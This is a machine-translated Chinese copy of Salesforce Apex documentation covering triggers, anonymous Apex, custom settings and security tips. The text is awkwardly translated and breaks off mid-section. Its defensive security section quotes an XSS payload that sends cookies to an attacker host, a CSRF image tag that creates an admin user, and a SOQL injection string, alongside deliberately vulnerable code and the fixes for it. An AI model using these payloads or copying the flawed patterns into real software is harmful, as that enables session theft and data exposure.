可以为 KnowledgeArticleVersion 对象编写触发器。了解何时可以使用 触发器,以及哪些操作不会触发触发器,例如存档文章。通常,KnowledgeArticleVersion (KAV) 记录可以使用以下触发器:

  • 创建 KAV 记录会调用 和 触发器。这包括创建一个 文章,以及从存档、已发布和主语言文章创建草稿 使用“恢复”、“编辑为草稿”和“提交以供翻译” 行动。before insertafter insert
  • 编辑现有 KAV 记录会调用 和 触发器。before updateafter update
  • 删除 KAV 记录会调用 和 触发器。before deleteafter delete
  • 导入文章会调用 和 触发器。导入文章 translations 还调用 and 触发器。before insertafter insertbefore updateafter update

更改 KAV 记录的发布状态的操作(如“发布”和“存档”)执行 不触发 Apex 或流触发器。但是,有时从 UI 发布文章会导致 要保存的文章,在这些情况下,AND 触发器 叫。before updateafter update

知识操作和顶点触发器

在为 KnowledgeArticleVersion 上的操作编写 Apex 触发器时,请考虑以下事项:保存、保存和关闭保存文章时,将调用 和 触发器。当一个新的 文章首次保存,和触发器工作 相反。before updateafter updatebefore insertafter insert编辑、编辑为草稿

  • 编辑草稿翻译时,可以使用 和 触发器。before updateafter update
  • 这 编辑 由于草稿操作从已发布的文章创建草稿,因此 和触发器触发。before insertafter insert
  • 在 Salesforce Classic 中,当草稿主语言文章出现以下情况时,不会触发任何触发器 编辑。
  • 在 Salesforce Classic 中,在以下情况下调用 和 触发器 从“文章管理”选项卡编辑存档的文章。这将创建一个草稿 KAV记录。before insertafter insert

取消、删除

在以下情况下调用 和 触发器:before deleteafter delete

  • 删除翻译草稿时。
  • 在 Salesforce Classic 的“文章管理”或“知识”选项卡中,在 编辑已发布的文章,然后单击“取消”。这将删除新的 草案。

提交翻译此操作将创建草稿翻译,因此通常可以使用 和 触发器。在 Salesforce Classic 中,当您从“知识”选项卡创建新文章时,可以使用 和 触发器,保存 它,然后提交翻译。和触发点火 当主语言文章当前正在编辑时,但不是从列表视图或 查看文章时。before insertafter insertbefore updateafter updatebefore updateafter update分配只有在这样做时才会调用 和 触发器 首先导致记录保存。当文章在 单击“分配”按钮。before updateafter update

不触发触发器的操作

以下操作无法触发 Apex 触发器:

  • 从回收站中取消删除文章。
  • 预览和存档文章。

对闪电迁移的影响

从 Salesforce Classic 中的 Knowledge 迁移到 Lightning Knowledge 会影响 Apex 触发器。在 KnowledgeArticleVersion 对象上编写 Apex 触发器会创建依赖项 并防止删除 KAV 对象。迁移具有多个 文章类型,您必须删除任何引用 KAV 文章类型。在迁移过程中,如果 Apex 仍然触发,管理员会看到一条错误消息 参考文章类型 KAV 对象在迁移过程中删除。如果您取消 闪电知识迁移,而 Apex 触发器存在引用新 KAV 对象, 管理员会收到通知,您必须删除 Apex 法典。

示例知识触发器

例如,您可以定义一个触发器,该触发器在文章出现以下情况时输入摘要文本: 创建。

trigger KAVTrigger on KAV_Type__kav (before insert) {
    for (KAV_Type__kav kav : Trigger.New) {
        kav.Summary__c = 'Updated article summary before insert';
    }  
}

触发异常

触发器可用于通过对记录或字段调用方法来防止发生 DML 操作。当用于 和 触发器中的记录以及触发器中的记录时,自定义错误消息显示在 应用程序界面并记录。addError()Trigger.newinsertupdateTrigger.olddelete

注意

如果将错误添加到触发器中,则用户体验到的响应时间延迟较少。before可以使用以下方法标记正在处理的记录的子集:

addError()

  • 如果触发器是由 Apex 中的 DML 语句生成的,则任何一个错误都会导致 整个操作回滚。但是,运行时引擎仍会处理 编译错误综合列表的操作。
  • 如果触发器是由 Lightning 平台 API 中的批量 DML 调用生成的,则运行时 引擎将不良记录放在一边,并尝试对以下记录进行部分保存 未生成错误。请参阅批量 DML 异常处理。

如果触发器引发未经处理的异常,则所有记录都标记为错误,并且没有 进行进一步处理。

触发器和批量请求最佳实践

一个常见的开发陷阱是假设触发器调用永远不会包含更多 超过一条记录。Apex 触发器经过优化,可批量运行,根据定义, 要求开发人员编写支持批量操作的逻辑。这是一个有缺陷的编程模式的示例。它假定只有一条记录是 在触发器调用期间拉入。虽然这可能支持大多数用户界面事件, 它不支持通过 SOAP API 调用的批量操作或 视觉力。

trigger MileageTrigger on Mileage__c (before insert, before update) {
   User c = [SELECT Id FROM User WHERE mileageid__c = Trigger.new[0].id];
}

这是有缺陷的编程模式的另一个示例。它假设少于 100 在触发器调用期间,记录在范围内。如果发出的查询超过 100 个, 触发器将超出 SOQL 查询 限制。

trigger MileageTrigger on Mileage__c (before insert, before update) {
   for(mileage__c m : Trigger.new){ 
      User c = [SELECT Id FROM user WHERE mileageid__c = m.Id];
   }
}

有关调控器限制的更多信息,请参阅执行调控器和 限制。此示例演示了支持触发器批量性质的正确模式,而 尊重州长 限制:

Trigger MileageTrigger on Mileage__c (before insert, before update) {
   Set<ID> ids = Trigger.newMap.keySet();
   List<User> c = [SELECT Id FROM user WHERE mileageid__c in :ids];
}

此模式通过将集合传递给集合,然后使用 单个 SOQL 查询。此模式捕获请求中的所有传入记录,同时 限制 SOQL 查询的数量。Trigger.new

设计批量程序的最佳实践

以下是此设计模式的最佳实践:

  • 通过添加 记录到集合中,并针对这些记录执行 DML 操作 收集。
  • 通过预处理记录和生成 集合,可以放在与子句一起使用的单个 SOQL 语句中。IN

ref

运行 Apex

您可以在以下位置以编程方式访问 Salesforce 用户界面的许多功能 Apex,您可以与外部 SOAP 和 REST Web 服务集成。您可以运行 Apex 代码 使用多种机制。Apex 代码在原子事务中运行。

  • 调用 Apex 您可以使用触发器、异步或作为 SOAP 或 REST Web 服务运行 Apex
    代码。
  • Apex 事务和调速器限制
    Apex 事务可确保数据的完整性。Apex 代码作为原子事务的一部分运行。Governor 执行限制可确保有效利用 Lightning 平台多租户平台上的资源。
  • 将 Salesforce 功能与 Apex 结合使用 Salesforce 用户界面的许多功能都在 Apex
    中公开,以便您可以在 Lightning Platform 中以编程方式访问它们。例如,您可以编写 Apex 代码以发布到 Chatter 摘要,或使用审批方法提交和批准流程请求。
  • 集成和 Apex 实用程序
    Apex 允许您使用标注与外部 SOAP 和 REST Web 服务集成。您可以使用用于 JSON、XML、数据安全和编码的实用程序。还为带有文本字符串的正则表达式提供了一个通用实用程序。

调用 Apex

您可以使用触发器运行Apex代码,也可以异步运行,也可以作为SOAP或REST Web运行 服务业。

  1. 匿名块 匿名块
    是 Apex 代码,它不会存储在元数据中,但可以编译和执行。
  2. 触发器 可以使用触发器
    调用 Apex 触发器使您能够在更改 Salesforce 记录之前或之后执行自定义操作,例如插入、更新或删除。
  3. 异步 Apex 提供了多种异步运行 Apex
    代码的方法。选择最适合您需求的异步 Apex 功能。
  4. 将 Apex 方法公开为 SOAP Web 服务 您可以将 Apex 方法公开为 SOAP Web 服务
    ,以便外部应用程序可以访问您的代码和应用程序。
  5. 将 Apex 类公开为 REST Web 服务
    您可以公开 Apex 类和方法,以便外部应用程序可以通过 REST 体系结构访问您的代码和应用程序。
  6. Apex 电子邮件服务 您可以使用电子邮件服务
    来处理入站电子邮件的内容、标题和附件。例如,您可以创建一个电子邮件服务,该服务根据邮件中的联系人信息自动创建联系人记录。
  7. 使用 InboundEmail 对象 对于 Apex 电子邮件服务域收到的每封电子邮件,Salesforce 都会创建一个单独的 InboundEmail 对象
    ,其中包含该电子邮件的内容和附件。您可以使用实现接口的 Apex 类来处理入站电子邮件。使用该类中的方法,可以访问 InboundEmail 对象以检索入站电子邮件的内容、标头和附件,以及执行许多功能。Messaging.InboundEmailHandlerhandleInboundEmail
  8. Visualforce 类
    除了使开发人员能够向 Salesforce 系统事件(如按钮单击和相关记录更新)添加业务逻辑外,Apex 还可用于通过自定义 Visualforce 控制器和控制器扩展为 Visualforce 页面提供自定义逻辑。
  9. JavaScript 远程处理
    使用 Visualforce 中的 JavaScript 远程处理从 JavaScript 调用 Apex 控制器中的方法。创建具有复杂动态行为的页面,这是标准 Visualforce AJAX 组件无法实现的。
  10. AJAX
    中的 Apex AJAX 工具包包括对通过匿名块或公共方法调用 Apex 的内置支持。webservice

匿名区块

匿名块是 Apex 代码,它不会存储在元数据中,但可以 被编译和执行。

用户权限 需要
要执行匿名 Apex:(匿名 Apex 通过 API 允许在没有“作者顶点”的情况下限制访问 权限。“API 已启用”和“作者顶点”
如果匿名 Apex 标注引用命名凭据作为 端点:自定义应用程序

使用以下方法之一编译和执行匿名块:

  • 开发者控制台
  • 适用于 Visual Studio Code 的 Salesforce 扩展
  • The SOAP API 叫:executeAnonymous()ExecuteAnonymousResult executeAnonymous(String code)

您可以使用匿名块来快速评估 Apex,例如在 开发人员控制台或 Visual Studio Code 的 Salesforce 扩展。您还可以使用 匿名块,用于编写在运行时动态更改的代码。例如,让我们 假设您编写了一个客户端 Web 应用程序,该应用程序从用户那里获取输入,例如名称和 地址。然后,您可以使用 Apex 的匿名块插入具有该名称的联系人 并地址到数据库中。请注意以下有关匿名块的内容(对于 String):

executeAnonymous()code

  • 可以包括用户定义的方法和异常。
  • 用户定义的方法不能包含关键字 。static
  • 您不必手动提交任何数据库更改。
  • 如果 Apex 触发器成功完成,则任何数据库更改都是 自动提交。如果您的 Apex 触发器未完成 成功后,将对数据库所做的任何更改回滚。
  • 与类和触发器不同,匿名块以当前用户和 如果代码违反用户的对象级和字段级,则可能无法编译 权限。
  • 没有本地以外的范围。例如,尽管使用访问修饰符是合法的,但它没有 意义。该方法的范围仅限于匿名块。global
  • 当您在匿名块中定义类或接口(自定义类型)时, 默认情况下,当匿名块时,类或接口被视为虚拟的 执行。即使自定义类型未使用修饰符定义,也是如此。保存您的课程或 界面,以避免这种情况发生。类和接口 在匿名块中定义的内容不会保存在您的组织中。virtual

即使用户定义的方法可以引用自身或更高版本的方法,而无需 对于正向声明,变量不能在其实际声明之前引用。 在以下示例中,Integer 必须 被声明,而 not:intmyProcedure1

Integer int1 = 0;

void myProcedure1() {
    myProcedure2();
}

void myProcedure2() {
    int1++;
}

myProcedure1();

匿名区块的返回结果包括:

  • 调用的编译和执行阶段的状态信息,包括任何 发生的错误
  • 调试日志内容,包括对方法的任何调用的输出(请参阅调试日志System.debug)
  • 任何未捕获的代码执行异常的 Apex 堆栈跟踪,包括 每个调用堆栈元素的类、方法和行号

有关更多信息,请参阅使用 SOAP API 部署 Apex。另请参阅在开发人员控制台和 Visual Studio 的 Salesforce 扩展中使用日志 代码。executeAnonymous()

通过 API 和 Author Apex 权限执行 Anonymous Apex

要使用 API 调用运行任何 Apex 代码,包括保存在组织中的 Apex 方法, 用户必须具有 Author Apex 权限。对于没有 Author Apex 的用户 权限,API 允许限制匿名 Apex 的执行。此例外 仅当用户通过 API 或工具执行匿名 Apex 时才适用 ,但不在开发者控制台中使用。允许此类用户运行 以下内容在匿名块中。executeAnonymous()

  • 他们在匿名块中编写的代码
  • 保存在组织中的 Web 服务方法(使用 关键字声明的方法)webservice
  • 属于 Apex 语言的任何内置 Apex 方法

当用户没有作者 Apex 时,不允许运行任何其他 Apex 代码 许可。例如,调用保存在 不允许组织使用自定义类作为内置的参数 方法。

当没有 Author Apex 权限的用户以匿名方式运行 DML 语句时 块,触发器可能会因此被触发。

ref

自定义设置

自定义设置类似于自定义对象。应用程序开发人员可以创建自定义 数据集,并关联组织、配置文件或特定用户的自定义数据。都 自定义设置数据在应用程序缓存中公开,无需 对数据库进行重复查询的开销。公式字段、验证规则、流、Apex 和 然后,SOAP API 可以使用此数据。

警告

保护 仅适用于标记为受保护并安装到订阅者的自定义设置 组织作为托管包的一部分。否则,它们将被视为公共习俗 设置,并且对所有配置文件(包括来宾用户)都是可读的。不要存储机密, 个人身份信息,或这些设置中的任何私人数据。使用受保护的 仅在托管包中自定义设置。在托管包之外,使用命名凭据 或加密的自定义字段来存储机密,如 OAuth 令牌、密码等 机密材料。

注意

虽然自定义设置数据包含在沙盒副本中,但它被视为 Apex 测试隔离的目的。Apex 测试必须用于查看组织中的现有自定义设置数据。作为 最佳做法是在测试设置中创建所需的自定义设置数据。SeeAllData=true有两种类型的自定义设置。列出自定义设置一种自定义设置,它提供一组可重用的静态数据,这些静态数据可以 在整个组织中访问。如果您经常使用一组特定的数据 将该数据放在列表自定义设置中的应用程序可简化对它的访问。 列表设置中的数据不会因配置文件或用户而异,但可用 组织范围。列表数据的示例包括两个字母的状态缩写、 国际拨号前缀和产品目录号。因为数据是 缓存,访问成本低且效率高:您不必使用计数的 SOQL 查询 违反您的调速器限制。层次结构自定义设置一种使用内置分层逻辑的自定义设置,可让您 针对特定配置文件或用户的“个性化”设置。层次结构逻辑 检查当前用户的组织、配置文件和用户设置,并返回 最具体或“最低”的值。在层次结构中,设置 组织被配置文件设置覆盖,而配置文件设置又被用户覆盖 设置。以下示例说明如何使用自定义设置。

  • 运输应用程序要求用户填写国际国家/地区代码 交付。通过创建所有国家/地区代码的列表设置,用户可以快速访问 此数据无需查询数据库。
  • 应用程序显示帐户位置、最佳路线和交通的地图 条件。此信息对销售代表很有用,但客户经理只想 请参阅帐户位置。通过创建具有自定义复选框字段的层次结构设置 路线和流量,您可以仅为“销售代表”启用此数据 轮廓。

您可以在 Salesforce 用户界面中创建自定义设置:在“设置”中,输入“快速查找”框,然后选择“自定义” 设置。创建自定义设置并添加字段后, 通过单击详细信息中的“管理”,将数据提供给自定义设置 页。使用名称标识每个数据集。Custom Settings例如,如果您有一个名为 Foundation_Countries__c 的自定义设置,其中包含一个文本字段 Country_Code__c,您的数据集可能如下所示:

数据集名称国家/地区代码字段值
美国美国
加拿大
英国英国

还可以在包中包含自定义设置。自定义设置的可见性 包取决于“可见性”设置。

注意

包中仅包含自定义设置定义,而不包含数据。要包含数据,您需要 必须在之后使用订阅组织运行的 Apex 代码填充自定义设置 他们已经安装了该软件包。Apex 可以访问两种自定义设置类型(列表和层次结构)。

注意

如果自定义设置的隐私为“受保护”,并且 自定义设置包含在托管包中,订阅组织不能 编辑值或使用 Apex 访问它们。

访问列表自定义设置

以下示例返回自定义设置数据的映射。该方法返回所有自定义字段的值 与列表关联 设置。

getAll

Map<String_dataset_name, CustomSettingName__c> mcs = CustomSettingName__c.getAll();

下面的示例使用该方法执行以下操作 返回与指定数据集关联的所有字段值。可以使用此方法 使用列表和层次结构自定义设置,使用不同的 参数。

getValues

CustomSettingName__c mc = CustomSettingName__c.getValues(data_set_name);

访问层次结构自定义设置

以下示例使用该方法返回组织级别的数据集值:

getOrgDefaults

CustomSettingName__c mc = CustomSettingName__c.getOrgDefaults();

这 下面的示例使用该方法执行以下操作 返回指定配置文件的数据集值。该方法还可以与用户 ID 一起使用。

getInstancegetInstance

CustomSettingName__c mc = CustomSettingName__c.getInstance(Profile_ID);

ref

Apex 和 Visualforce 开发的安全提示

了解安全性

Apex 和 Visualforce 页面的强大组合使 Lightning Platform 开发人员向 Salesforce 或 创建一个在 Lightning 平台内运行的新独立产品。但和 任何编程语言,开发人员都必须认识到潜在的安全相关 陷阱。

Salesforce 在 Lightning Platform 中整合了多项安全防御措施。但 粗心的开发人员仍然可以绕过内置的防御措施,然后暴露他们的 应用程序和客户的安全风险。许多编码错误是 开发人员可以在Lightning平台上制作类似于一般Web的应用程序 安全漏洞,而其他漏洞则是 Apex 独有的。

要对 AppExchange 应用程序进行认证,必须 开发人员学习和理解所描述的安全漏洞。查看更多 信息,请参阅 Salesforce 上的 Lightning 平台安全资源页面 开发 人员。https://developer.salesforce.com/page/Security。

通过静态资源打开重定向

URL 重定向会自动将用户发送到其他网页。重定向通常用于 引导导航到一个网站,或将属于同一所有者的多个域名引荐给 引用单个网站。不幸的是,对于开发人员来说,攻击者可以利用 URL 重定向 如果实施不当。开放重定向(也称为“任意重定向”)是一种常见的重定向 Web 应用程序漏洞,其中由用户控制的值决定了应用程序的位置 重 定向。

警告

通过静态资源进行开放式重定向可能会使用户面临以下风险 无意的(可能是恶意的)重定向。

只有具有“自定义应用程序”权限的管理员才能上传静态资源 在组织内。具有此权限的管理员必须谨慎使用,以确保静态 资源不包含恶意内容。了解如何帮助防范静态资源 从第三方获得的,请参 阅使用 iframe 引用不受信任的第三方内容 。

  • 跨站点脚本 (XSS)
  • Visualforce 页面
    中未转义的输出和公式 使用已将属性设置为 false 的组件时,或者在 Visualforce 组件之外包含公式时,输出未经筛选,必须进行安全性验证。这在使用公式表达式时尤为重要。escape
  • 跨站点请求伪造 (CSRF)
  • SOQL注射液
  • 数据访问控制

跨站点脚本 (XSS)

跨站点脚本 (XSS) 攻击是指恶意 HTML 或客户端 脚本是提供给 Web 应用程序的。Web 应用程序包括 恶意脚本,以响应在不知不觉中成为受害者的用户 的攻击。攻击者使用 Web 应用程序作为 攻击,利用受害者对 Web 应用程序的信任。最 显示动态网页但未正确验证数据的应用程序 很可能是脆弱的。如果出现以下情况,则对网站的攻击特别容易 来自一个用户的输入旨在显示给另一个用户。一些明显的 可能性包括公告板或用户评论风格的网站、新闻或 电子邮件存档。例如,假设此脚本包含在 Lightning 平台页面中,使用 脚本组件、事件或 视觉力 页。

on*

<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

此脚本块将用户提供的值插入到页面上。然后,攻击者可以 为 输入此值。

userparamuserparam

1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

在这种情况下,当前页面的所有 cookie 都将作为请求中的查询字符串发送到 www.attacker.com 脚本。此时, 攻击者拥有受害者的会话 cookie,可以连接到 Web 应用程序 就好像他们是受害者一样。cookie.cgi

攻击者可以使用网站或电子邮件发布恶意脚本。蹼 应用程序用户不仅可以看到攻击者的输入,而且他们的浏览器还可以 在受信任的上下文中执行攻击者的脚本。有了这个能力, 攻击者可以对受害者执行各种攻击。这些范围 从简单的操作(例如打开和关闭窗口)到更恶意的操作 攻击,例如窃取数据或会话 Cookie,允许攻击者完全 访问受害者的会话。

有关此类攻击的详细信息:

  • http://www.owasp.org/index.php/Cross_Site_Scripting
  • http://www.cgisecurity.com/xss-faq.html
  • http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
  • http://www.google.com/search?q=cross-site+scripting

在闪电平台中,有几种反XSS防御措施。为 例如,Salesforce 具有过滤器,可以筛选出大多数中的有害字符 输出方法。对于使用标准类和输出方法的开发人员, XSS 缺陷的威胁已在很大程度上得到缓解。但创意开发者仍然可以 找到有意或无意绕过默认控件的方法。

现有保护

所有以 开头的标准 Visualforce 组件都具有反 XSS 过滤器 筛选出有害字符。例如,此代码通常容易受到攻击 到 XSS 攻击,因为它接受用户提供的输入并直接输出 返回给用户,但标记是 XSS 安全的。出现的所有字符 to be HTML 标记将转换为其文字形式。例如,< 字符转换为 文本<显示在用户的 屏幕。

<apex><apex:outputText>&lt;

<apex:outputText> 
    {!$CurrentPage.parameters.userInput} 
</apex:outputText>

在 Visualforce 标签上禁用 Escape

默认情况下,几乎所有 Visualforce 标记都会转义 XSS 易受攻击的字符。您可以通过设置可选的 属性。例如 此输出容易受到 XSS 的攻击 攻击。

escape=”false”

<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

不受 XSS 保护的编程项

这些物品没有内置的 XSS 保护,因此在使用时要格外小心 这些标记和对象。这些项目旨在允许开发人员 通过插入脚本命令来自定义页面。这没有意义 在有意添加到页面的命令上包含反 XSS 筛选器。

Visualforce 页面中未转义的输出和公式

使用已将属性设置为 false 的组件时,或者在 Visualforce 组件之外包含公式时,输出为 未经过滤,必须进行安全性验证。这在使用配方奶粉时尤为重要 表达 式。

escape

公式表达式可以是函数调用,也可以包含有关平台对象的信息,或者 用户环境、系统环境和请求环境。这很重要 请注意,表达式生成的输出在呈现期间不会转义。因为 表达式在服务器上呈现,无法在 使用 JavaScript 或其他客户端技术的客户端。这可能导致 如果公式表达式引用非系统数据(即 潜在恶意或可编辑数据),并且表达式本身未包装在函数中 在渲染期间对输出进行转义。通过在页面上重新呈现用户输入来创建常见漏洞。例如

<apex:page standardController="Account">
  <apex:form>
    <apex:commandButton rerender="outputIt" value="Update It"/>
    <apex:inputText value="{!myTextField}"/>
  </apex:form>

  <apex:outputPanel id="outputIt"> 
    Value of myTextField is <apex:outputText value="{!myTextField}" escape="false"/>
  </apex:outputPanel>    
</apex:page>

未转义会导致跨站点 脚本漏洞。例如,如果用户输入 :

{!myTextField}

<script>alert('xss')

并单击“更新它”,将执行 JavaScript。在本例中,警报对话框 ,但可以设计更多恶意用途。可以使用多个函数来转义可能不安全的字符串。HTMLENCODE编码通过替换以下字符对文本和合并字段值进行编码,以便在 HTML 中使用 在 HTML 中保留,例如大于号 (>),以及 HTML 实体等效项,例如 如。&gt;JSEN代码通过插入转义符对文本和合并字段值进行编码,以便在 JavaScript 中使用 字符,例如反斜杠 (\),在不安全的 JavaScript 字符之前,例如 撇号 (’)。JSINHTMLENCODE通过以下方式对文本和合并字段值进行编码,以便在 HTML 标记内的 JavaScript 中使用 将 HTML 中保留的字符替换为 HTML 实体等效项,以及 在不安全的 JavaScript 字符之前插入转义字符。 是一个 便利功能,等效于 。也就是说,首先用 进行编码 , 然后用 对结果进行编码。JSINHTMLENCODE(someValue)JSENCODE(HTMLENCODE((someValue))JSINHTMLENCODEsomeValueHTMLENCODEJSENCODEURLENCODE通过替换以下字符对文本和合并字段值进行编码,以便在 URL 中使用 URL 中非法,例如空格,其代码将这些字符表示为 在 RFC 3986 统一资源标识符 (URI):通用语法中定义。为 例如,空格替换为 ,并且 感叹号将替换为 。%20%21要用于保护前面的示例,请执行以下操作: 将 更改为 以后:

HTMLENCODE<apex:outputText>

<apex:outputText value=" {!HTMLENCODE(myTextField)}" escape="false"/>

如果 用户输入并单击“更新”,则不执行 JavaScript。相反,字符串是 编码后,页面将显示 。

<script>alert(‘xss’)Value of myTextField is <script>alert(‘xss’)根据标签的位置和数据的使用情况,两个字符都需要 逃跑和逃跑的同行可能会有所不同。例如,这个语句,其中 将 Visualforce 请求参数复制到 JavaScript 中 变量:

<script>var ret = "{!$CurrentPage.parameters.retURL}";</script>

需要 请求参数中的任何双引号字符都使用 URL 编码进行转义 等价于 而不是 HTML 转义 。否则, 请求:

%22

https://example.com/demo/redirect.html?retURL=%22foo%22%3Balert('xss')%3B%2F%2F

结果 在:

<script>var ret = "foo";alert('xss');//";</script>

什么时候 页面加载,JavaScript 执行,并显示警报。在这种情况下,要防止执行 JavaScript,请使用该函数。为 例

JSENCODE

<script>var ret = "{!JSENCODE($CurrentPage.parameters.retURL)}";</script>

公式标记还可用于包含平台对象数据。虽然数据被拿走了 直接从用户组织,在使用前仍必须进行转义,以防止用户 在其他用户(可能是具有更高权限的用户)的上下文中执行代码 水平)。虽然这些类型的攻击必须由同一组织内的用户执行, 它们会破坏组织的用户角色,并降低审核记录的完整性。 此外,许多组织包含从外部源导入的数据 并且可能尚未筛选恶意内容。

跨站点请求伪造 (CSRF)

跨站点请求伪造 (CSRF) 缺陷与其说是编程错误,不如说是 缺乏防御。例如,攻击者 www.attacker.com 有一个网页,该网页可以是任何网页,包括 一个提供有价值的服务或信息,为它带来流量的人 网站。攻击者页面上的某个位置有一个 HTML 标记,如下所示 这:

<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />

换句话说,攻击者的页面包含一个 URL,该 URL 对 您的网站。如果用户在访问 攻击者的网页,检索 URL 并执行操作。这次攻击 成功,因为用户仍通过网页的身份验证。这是一个 举个简单的例子,攻击者可以通过使用脚本来获得更多的创意 生成回调请求,甚至对 AJAX 使用 CSRF 攻击 方法。

有关详细信息和传统防御:

  • http://www.owasp.org/index.php/Cross-Site_Request_Forgery
  • http://www.cgisecurity.com/csrf-faq.html
  • http://shiflett.org/articles/cross-site-request-forgeries

在闪电网络平台中,Salesforce 实施了一个反 CSRF 令牌,以 防止此类攻击。每个页面都包含一个随机字符串作为 隐藏的表单字段。加载下一页时,应用程序会检查有效性 并且不执行命令,除非值 与预期值匹配。此功能可在使用所有 标准控制器和方法。同样,开发人员可以在没有意识到 风险。例如,自定义控制器将对象 ID 作为输入参数 然后在 SOQL 调用中使用该输入参数。

<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass { 
  public void init() { 
    Id id = ApexPages.currentPage().getParameters().get('id'); 
    Account obj = [select id, Name FROM Account WHERE id = :id]; 
    delete obj; 
    return ; 
  }
}

开发人员在不知不觉中通过开发自己的反 CSRF 控件绕过了 action 方法。读取参数 并在代码中使用。反 CSRF 令牌永远不会被读取或验证。一 攻击者网页可以通过使用 CSRF 攻击将用户发送到此页面,并且 为参数提供任何值。idid

对于这种情况,没有内置的防御措施,开发人员必须这样做 在编写基于用户提供的参数执行操作的页面时要谨慎 就像前面的变量一样 例。一种可能的解决方法是插入中间确认页 在执行操作以确保用户打算调用页面之前。 其他建议包括缩短空闲会话超时和教育 用户注销其活动会话,而不使用浏览器访问 其他站点,同时经过身份验证。id

由于 Salesforce 内置了针对 CSRF 的防御功能,您的用户可能会遇到 打开多个 Salesforce 登录页面时出错。如果用户登录到 Salesforce在一个选项卡中,然后尝试在另一个选项卡上登录,他们看到这个 错误:您提交的页面对会话无效。用户可以 通过刷新登录页面或尝试登录 第二次。

SOQL注射液

在其他编程语言中,前面的缺陷称为 SQL 注入。顶点 不使用 SQL,而是使用自己的数据库查询语言 SOQL。SOQL很多 比 SQL 更简单,功能更有限。风险要低得多 SOQL 注入比 SQL 注入相同,但攻击几乎与 传统的SQL注入。SQL/SOQL 注入接受用户提供的输入并使用 动态 SOQL 查询中的这些值。如果输入未经过验证,则可以 包括 SOQL 命令,这些命令可以有效地修改 SOQL 语句并欺骗 应用程序执行非预期的命令。

Apex 中的 SOQL 注入漏洞

下面是易受 SOQL 攻击的 Apex 和 Visualforce 代码的简单示例 注射。

<apex:page controller="SOQLController" >
    <apex:form>
        <apex:outputText value="Enter Name" />
        <apex:inputText value="{!name}" />
        <apex:commandButton value="Query" action="{!query}“ />
    </apex:form>
</apex:page>
public class SOQLController {
    public String name {
        get { return name;}
        set { name = value;}
    } 
    public PageReference query() {
        String qryString = 'SELECT Id FROM Contact WHERE ' +
            '(IsDeleted = false and Name like \'%' + name + '%\')';
        List<Contact> queryResult = Database.query(qryString);
        System.debug('query result is ' + queryResult);
        return null;
    }
}

这个简单的例子说明了逻辑。该代码旨在搜索 未删除的联系人。用户提供一个名为 的输入值。该值可以是 用户,并且从未经过验证。SOQL 查询是动态构建的,然后 使用该方法执行。 如果用户提供合法值,则该语句将作为 预期。

nameDatabase.query

// User supplied value: name = Bob 
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

但是,如果用户提供了意外的输入,例如 如:

// User supplied value for name: test%') OR (Name LIKE '

在 在这种情况下,查询字符串 成为:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

现在,结果显示所有联系人,而不仅仅是未删除的联系人。SOQL注射 缺陷可用于修改任何易受攻击的查询的预期逻辑。

SOQL 注入防御

若要防止 SOQL 注入攻击,请避免使用动态 SOQL 查询。相反 使用静态查询和绑定变量。上面的易受攻击的例子可能是 使用静态重写 索克尔。

public class SOQLController { 
    public String name { 
        get { return name;} 
        set { name = value;} 
    } 
    public PageReference query() { 
        String queryName = '%' + name + '%';
        List<Contact> queryResult = [SELECT Id FROM Contact WHERE 
           (IsDeleted = false and Name like :queryName)];
        System.debug('query result is ' + queryResult);
        return null; 
    } 
}

如果必须使用动态 SOQL,请使用该方法清理用户提供的输入。这 方法将转义字符 (\) 添加到字符串中的所有单引号中 从用户传入。该方法确保所有单报价 标记被视为封闭字符串,而不是数据库命令。escapeSingleQuotes

数据访问控制

闪电平台广泛使用数据共享规则。每个对象都有 权限,并且可以具有用户可以读取、创建、编辑和 删除。使用所有标准控制器时,将强制执行这些设置。使用 Apex 类时,内置用户权限和字段级安全性 在执行过程中不遵守限制。默认行为是 Apex 类具有读取和更新所有数据的能力。因为这些规则是 不强制执行,使用 Apex 的开发人员必须避免无意中暴露 通常通过用户权限对用户隐藏的敏感数据, 字段级安全性或默认值,尤其是对于 Visualforce 页面。为 例如,考虑这个 Apex 伪代码。

public class customController { 
    public void read() { 
        Contact contact = [SELECT id FROM Contact WHERE Name = :value]; 
    } 
}

在这种情况下,将搜索所有联系人记录,即使用户当前已登录 in 通常无权查看这些记录。解决方案是 在声明 类:

with sharing

public with sharing class customController { 
    . . . 
}

关键字将 平台,以使用当前登录用户的安全共享权限 ,而不是授予对所有记录的完全访问权限。with sharing

ref

Apex Security 和 共享

当您使用 Apex 时, 代码的安全性至关重要。您需要为 Apex 类添加用户权限并强制执行 共享规则。请继续阅读,了解 Apex 托管共享和 获取一些安全提示。

  • 强制执行共享规则
  • 强制执行对象和字段权限
  • 对数据库操作
    强制实施用户模式 通过使用带有特殊关键字的 SOQL 或 SOSL 查询,或者使用 DML 方法重载,可以在用户模式下运行数据库操作,而不是在默认系统模式下运行数据库操作。
  • 使用 stripInaccessible 方法强制实施安全性 使用该方法
    强制实施字段级和对象级数据保护。此方法可用于从用户无法访问的查询和子查询结果中删除字段和关系字段。该方法还可用于在 DML 操作之前删除无法访问的 sObject 字段,以避免异常,并清理已从不受信任的源反序列化的 sObject。stripInaccessible
  • 使用 WITH 筛选 SOQL 查询
    SECURITY_ENFORCED 使用该子句可以对 Apex 代码中的查询(包括子查询和跨对象关系)启用字段级和对象级安全权限检查。WITH SECURITY_ENFORCEDSOQL SELECT
  • 类安全性
  • 了解 Apex 托管共享 共享
    是授予用户或用户组对记录或一组记录执行一组操作的权限的行为。可以使用 Salesforce 用户界面和 Lightning Platform 授予共享访问权限,也可以使用 Apex 以编程方式授予共享访问权限。
  • Apex 和 Visualforce 开发的安全提示

强制执行共享规则

Apex 通常在系统上下文中运行;即当前用户的权限和 在代码执行过程中不考虑字段级安全性。共享规则, 但是,并不总是被绕过:必须使用关键字声明类,以确保共享 不强制执行规则。without sharing

注意

